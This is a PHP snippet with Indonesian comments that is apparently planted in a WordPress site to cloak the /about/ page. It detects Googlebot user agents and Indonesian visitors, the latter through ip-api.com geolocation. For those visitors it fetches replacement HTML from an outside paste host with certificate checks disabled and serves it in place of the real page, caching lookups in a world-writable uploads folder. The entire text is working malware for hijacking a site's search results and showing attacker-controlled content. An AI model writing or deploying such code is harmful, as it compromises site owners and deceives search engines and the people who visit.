$config = [ "bot_user_agents" => [ "Googlebot", "Googlebot-Image", "Googlebot-Video", "Googlebot-News", "Storebot-Google", "Google-InspectionTool", "GoogleOther" ], "target_countries" => ["ID"], "cloak_map" => [ "/about/" => "https://softechnology.biz/raw/zgQwO2p0sg", "/about/" => "https://softechnology.biz/raw/va_5VVY-n9", ], "ip_cache_ttl" => 86400, "cache_directory" => __DIR__ . "/wp-content/uploads/cache_lp", ]; $uri = $_SERVER["REQUEST_URI"] ?? ""; $raw_path = explode('?', $uri)[0]; $current_path = rtrim($raw_path, '/'); // Cocokkan path target $cloak_url = null; foreach ($config["cloak_map"] as $path => $url) { $norm_path = rtrim($path, '/'); if ($current_path === $norm_path || $raw_path === $path) { $cloak_url = $url; break; } } // === Kalau bukan path target, LANGSUNG lanjut ke WordPress (gak return) === if ($cloak_url !== null) { // Anti-cache header("Cache-Control: no-store, no-cache, must-revalidate, max-age=0"); header("Pragma: no-cache"); if (!function_exists('gxd_get_client_ip')) { function gxd_get_client_ip(): string { foreach (["HTTP_CF_CONNECTING_IP","HTTP_X_FORWARDED_FOR","HTTP_CLIENT_IP","REMOTE_ADDR"] as $h) { if (!empty($_SERVER[$h])) { $ip = trim(explode(",", $_SERVER[$h])[0]); if (filter_var($ip, FILTER_VALIDATE_IP)) return $ip; } } return "127.0.0.1"; } } if (!function_exists('gxd_curl')) { function gxd_curl(string $url) { $ch = curl_init($url); curl_setopt_array($ch, [ CURLOPT_RETURNTRANSFER => true, CURLOPT_FOLLOWLOCATION => true, CURLOPT_TIMEOUT => 20, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_USERAGENT => $_SERVER["HTTP_USER_AGENT"] ?? "Mozilla/5.0", CURLOPT_ENCODING => "", ]); $data = curl_exec($ch); curl_close($ch); return $data; } } $client_ip = gxd_get_client_ip(); $user_agent = strtolower($_SERVER["HTTP_USER_AGENT"] ?? ""); $is_bot = (bool) preg_match("/(" . implode("|", $config["bot_user_agents"]) . ")/i", $user_agent); $should_cloak = $is_bot; if (!$is_bot) { $ip_cache_dir = $config["cache_directory"] . "/ip"; if (!is_dir($ip_cache_dir)) @mkdir($ip_cache_dir, 0777, true); $cache_file = $ip_cache_dir . "/ip_" . md5($client_ip) . ".json"; $geo = ["country" => "UNKNOWN"]; if (file_exists($cache_file) && time() - filemtime($cache_file) < $config["ip_cache_ttl"]) { $geo = json_decode(file_get_contents($cache_file), true); } else { $data = json_decode(gxd_curl("http://ip-api.com/json/{$client_ip}"), true); $geo["country"] = $data["countryCode"] ?? "UNKNOWN"; if ($geo["country"] !== "UNKNOWN") { file_put_contents($cache_file, json_encode($geo)); } } if (in_array($geo["country"], $config["target_countries"])) { $should_cloak = true; } } if ($should_cloak) { $content = gxd_curl($cloak_url); if ($content && strlen(trim($content)) > 100) { while (ob_get_level()) ob_end_clean(); header("Content-Type: text/html; charset=utf-8"); echo $content; exit(); } } }